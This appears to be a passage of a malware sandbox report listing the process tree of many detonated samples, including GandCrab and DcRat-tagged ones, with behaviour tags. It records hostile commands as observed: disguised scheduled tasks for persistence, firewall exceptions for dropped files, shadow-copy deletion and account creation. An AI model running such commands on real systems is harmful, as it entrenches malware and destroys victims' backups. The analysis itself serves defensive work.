                                                • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                                  "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\jdrhc"
                                                  4⤵
                                                    PID:1288
                                                  • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                                    "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qhxczicoluqoitzfzeutziqlaokkajc"
                                                    4⤵
                                                      PID:3004
                                                    • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                                      "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\bjcu"
                                                      4⤵
                                                        PID:2052
                                                      • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                                        "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ldqntly"
                                                        4⤵
                                                          PID:3904
                                                        • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                                          "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\flhlsfjlm"
                                                          4⤵
                                                            PID:3940
                                                          • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                                            "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qfudtyufavqf"
                                                            4⤵
                                                              PID:3316
                                                            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                                              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ahawuqnhodjkthk"
                                                              4⤵
                                                                PID:1540
                                                            • C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
                                                              "C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • Drops file in Program Files directory
                                                              • Drops file in Windows directory
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2656
                                                            • C:\Program Files (x86)\BTZ.exe
                                                              "C:\Program Files (x86)\BTZ.exe"
                                                              3⤵
                                                              • Drops file in Drivers directory
                                                              • Executes dropped EXE
                                                              • Impair Defenses: Safe Mode Boot
                                                              • Loads dropped DLL
                                                              • Drops file in Windows directory
                                                              • System Location Discovery: System Language Discovery
                                                              PID:2476
                                                            • C:\Program Files (x86)\Cat.exe
                                                              "C:\Program Files (x86)\Cat.exe"
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              PID:1992
                                                            • C:\Program Files (x86)\Client.exe
                                                              "C:\Program Files (x86)\Client.exe"
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2744
                                                              • C:\Windows\system32\CMD.exe
                                                                "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
                                                                4⤵
                                                                  PID:3436
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
                                                                    5⤵
                                                                    • DcRat
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4084
                                                                • C:\Windows\system32\CMD.exe
                                                                  "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
                                                                  4⤵
                                                                    PID:3108
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
                                                                      5⤵
                                                                      • DcRat
                                                                      PID:1800
                                                                  • C:\Windows\system32\CMD.exe
                                                                    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                                                                    4⤵
                                                                      PID:692
                                                                      • C:\Windows\system32\schtasks.exe
                                                                        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
                                                                        5⤵
                                                                        • DcRat
                                                                        • Scheduled Task/Job: Scheduled Task
                                                                        PID:2852
                                                                    • C:\Windows\system32\CMD.exe
                                                                      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
                                                                      4⤵
                                                                        PID:2588
                                                                        • C:\Windows\system32\schtasks.exe
                                                                          SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
                                                                          5⤵
                                                                          • Scheduled Task/Job: Scheduled Task
                                                                          PID:3096
                                                                      • C:\Windows\system32\CMD.exe
                                                                        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                                                                        4⤵
                                                                          PID:1428
                                                                          • C:\Windows\system32\schtasks.exe
                                                                            SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
                                                                            5⤵
                                                                            • Scheduled Task/Job: Scheduled Task
                                                                            PID:484
                                                                        • C:\Windows\system32\CMD.exe
                                                                          "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
                                                                          4⤵
                                                                            PID:2748
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
                                                                              5⤵
                                                                                PID:3556
                                                                            • C:\Windows\system32\CMD.exe
                                                                              "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                                                                              4⤵
                                                                                PID:1676
                                                                                • C:\Windows\system32\schtasks.exe
                                                                                  SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
                                                                                  5⤵
                                                                                  • DcRat
                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                  PID:3956
                                                                              • C:\Windows\system32\CMD.exe
                                                                                "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
                                                                                4⤵
                                                                                  PID:1728
                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                    SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
                                                                                    5⤵
                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                    PID:1640
                                                                                • C:\Windows\system32\CMD.exe
                                                                                  "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                                                                                  4⤵
                                                                                    PID:2360
                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
                                                                                      5⤵
                                                                                        PID:3464
                                                                                    • C:\Windows\system32\CMD.exe
                                                                                      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
                                                                                      4⤵
                                                                                        PID:2864
                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                          SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
                                                                                          5⤵
                                                                                          • DcRat
                                                                                          PID:3564
                                                                                      • C:\Windows\system32\CMD.exe
                                                                                        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                                                                                        4⤵
                                                                                          PID:2092
                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                            SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
                                                                                            5⤵
                                                                                            • DcRat
                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                            PID:3768
                                                                                        • C:\Windows\system32\CMD.exe
                                                                                          "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
                                                                                          4⤵
                                                                                            PID:1668
                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                              SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
                                                                                              5⤵
                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                              PID:3284
                                                                                          • C:\Windows\system32\CMD.exe
                                                                                            "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                                                                                            4⤵
                                                                                              PID:3640
                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
                                                                                                5⤵
                                                                                                  PID:3016
                                                                                              • C:\Windows\system32\CMD.exe
                                                                                                "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
                                                                                                4⤵
                                                                                                  PID:3476
                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                    SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
                                                                                                    5⤵
                                                                                                    • DcRat
                                                                                                    PID:2728
                                                                                                • C:\Windows\system32\CMD.exe
                                                                                                  "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                                                                                                  4⤵
                                                                                                    PID:2920
                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
                                                                                                      5⤵
                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                      PID:3728
                                                                                                • C:\Program Files (x86)\Darkest Dungeon setub.exe
                                                                                                  "C:\Program Files (x86)\Darkest Dungeon setub.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Loads dropped DLL
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:2712
                                                                                                  • C:\Users\Admin\AppData\Roaming\svhost.exe
                                                                                                    "C:\Users\Admin\AppData\Roaming\svhost.exe"
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:2888
                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svhost.exe" "svhost.exe" ENABLE
                                                                                                      5⤵
                                                                                                      • Modifies Windows Firewall
                                                                                                      PID:3056
                                                                                                • C:\Program Files (x86)\evil.exe
                                                                                                  "C:\Program Files (x86)\evil.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Loads dropped DLL
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:1220
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\evil.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\evil.exe"
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:1776
                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\evil.exe" "evil.exe" ENABLE
                                                                                                      5⤵
                                                                                                      • Modifies Windows Firewall
                                                                                                      PID:3372
                                                                                                • C:\Program Files (x86)\fwclt.exe
                                                                                                  "C:\Program Files (x86)\fwclt.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:1520
                                                                                                • C:\Program Files (x86)\Gandcrab5.0.3.exe
                                                                                                  "C:\Program Files (x86)\Gandcrab5.0.3.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:2416
                                                                                                  • C:\Windows\SysWOW64\wermgr.exe
                                                                                                    "C:\Windows\System32\wermgr.exe"
                                                                                                    4⤵
                                                                                                    • Drops startup file
                                                                                                    • Enumerates connected drives
                                                                                                    • Sets desktop wallpaper using registry
                                                                                                    • Drops file in Program Files directory
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    • Checks processor information in registry
                                                                                                    PID:1240
                                                                                                    • C:\Windows\SysWOW64\wbem\wmic.exe
                                                                                                      "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
                                                                                                      5⤵
                                                                                                        PID:3788
                                                                                                  • C:\Program Files (x86)\Happy18.exe
                                                                                                    "C:\Program Files (x86)\Happy18.exe"
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Drops file in System32 directory
                                                                                                    PID:1304
                                                                                                  • C:\Program Files (x86)\kosomk.exe
                                                                                                    "C:\Program Files (x86)\kosomk.exe"
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Loads dropped DLL
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:2400
                                                                                                    • C:\Users\Admin\AppData\Roaming\dicsord.exe
                                                                                                      "C:\Users\Admin\AppData\Roaming\dicsord.exe"
                                                                                                      4⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:3220
                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\dicsord.exe" "dicsord.exe" ENABLE
                                                                                                        5⤵
                                                                                                        • Modifies Windows Firewall
                                                                                                        PID:2920
                                                                                                  • C:\Program Files (x86)\LightNeuronX0.exe
                                                                                                    "C:\Program Files (x86)\LightNeuronX0.exe"
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:3016
                                                                                                  • C:\Program Files (x86)\malecus.exe
                                                                                                    "C:\Program Files (x86)\malecus.exe"
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:1740
                                                                                                  • C:\Program Files (x86)\see7.exe
                                                                                                    "C:\Program Files (x86)\see7.exe"
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2140
                                                                                                    • C:\Program Files (x86)\see7.exe
                                                                                                      "C:\Program Files (x86)\see7.exe"
                                                                                                      4⤵
                                                                                                        PID:2508
                                                                                                    • C:\Program Files (x86)\TEST.exe
                                                                                                      "C:\Program Files (x86)\TEST.exe"
                                                                                                      3⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:2344
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp8D7.tmp.bat""
                                                                                                        4⤵
                                                                                                          PID:4060
                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                            timeout 3
                                                                                                            5⤵
                                                                                                            • Delays execution with timeout.exe
                                                                                                            PID:2604
                                                                                                          • C:\Users\Admin\AppData\Roaming\DriverrHub\Microsoft To Do.exe
                                                                                                            "C:\Users\Admin\AppData\Roaming\DriverrHub\Microsoft To Do.exe"
                                                                                                            5⤵
                                                                                                              PID:1940
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          cmd /c ""C:\Program Files (x86)\touhou virus.bat" "
                                                                                                          3⤵
                                                                                                            PID:2772
                                                                                                            • C:\Windows\SysWOW64\net.exe
                                                                                                              net user Shanghai /add
                                                                                                              4⤵
                                                                                                                PID:1520
                                                                                                                • C:\Windows\SysWOW64\net1.exe
                                                                                                                  C:\Windows\system32\net1 user Shanghai /add
                                                                                                                  5⤵
                                                                                                                    PID:1100
                                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                                  net user Bad Apple /add
                                                                                                                  4⤵
                                                                                                                    PID:2060
                                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                                      C:\Windows\system32\net1 user Bad Apple /add
                                                                                                                      5⤵
                                                                                                                        PID:2756
                                                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                                                      net user Marisa
                                                                                                                      4⤵
                                                                                                                        PID:3856
                                                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                                                          C:\Windows\system32\net1 user Marisa
                                                                                                                          5⤵
                                                                                                                            PID:3916
                                                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                                                          net user Reimu /add
                                                                                                                          4⤵
                                                                                                                            PID:2256
                                                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                                                              C:\Windows\system32\net1 user Reimu /add
                                                                                                                              5⤵
                                                                                                                                PID:2436
                                                                                                                            • C:\Windows\SysWOW64\mountvol.exe
                                                                                                                              mountvol X:\ /d
                                                                                                                              4⤵
                                                                                                                                PID:2924
                                                                                                                              • C:\Program Files\Internet Explorer\iexplore.exe
                                                                                                                                "C:\Program Files\Internet Explorer\iexplore.exe" https://www.youtube.com/watch?v=PTt19B5_V3I
                                                                                                                                4⤵
                                                                                                                                  PID:3464
                                                                                                                              • C:\Program Files (x86)\vbc.exe
                                                                                                                                "C:\Program Files (x86)\vbc.exe"
                                                                                                                                3⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:2740
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
                                                                                                                                  4⤵
                                                                                                                                    PID:1560
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
                                                                                                                                      5⤵
                                                                                                                                        PID:2712
                                                                                                                                  • C:\Program Files (x86)\virus.jk.exe
                                                                                                                                    "C:\Program Files (x86)\virus.jk.exe"
                                                                                                                                    3⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                    PID:1504
                                                                                                                              • C:\Windows\helppane.exe
                                                                                                                                C:\Windows\helppane.exe -Embedding
                                                                                                                                1⤵
                                                                                                                                  PID:1116
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\Application Data\dllhost.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:2228
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c27" /sc MINUTE /mo 9 /tr "'C:\Windows\ehome\wow\ja-JP\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:1188
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Users\All Users\Application Data\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:888
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2" /sc ONLOGON /tr "'C:\Windows\ehome\wow\ja-JP\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:1568
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\Application Data\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:2836
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c27" /sc MINUTE /mo 6 /tr "'C:\Windows\ehome\wow\ja-JP\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:1328
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57a" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:528
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:2428
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\OSPPSVC.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:2004
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57a" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:2952
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "OSPPSVC" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\OSPPSVC.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:1516
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\OSPPSVC.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:1700
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\WmiPrvSE.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:1288
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "BTZB" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Common Files\DESIGNER\BTZ.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:1432
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\WmiPrvSE.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:2060
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "BTZ" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\DESIGNER\BTZ.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:1100
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\WmiPrvSE.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:3040
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "BTZB" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Common Files\DESIGNER\BTZ.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:2468
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 9 /tr "'C:\Windows\Panther\setup.exe\Idle.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:2984
                                                                                                                                • C:\Windows\system32\schtasks.exe
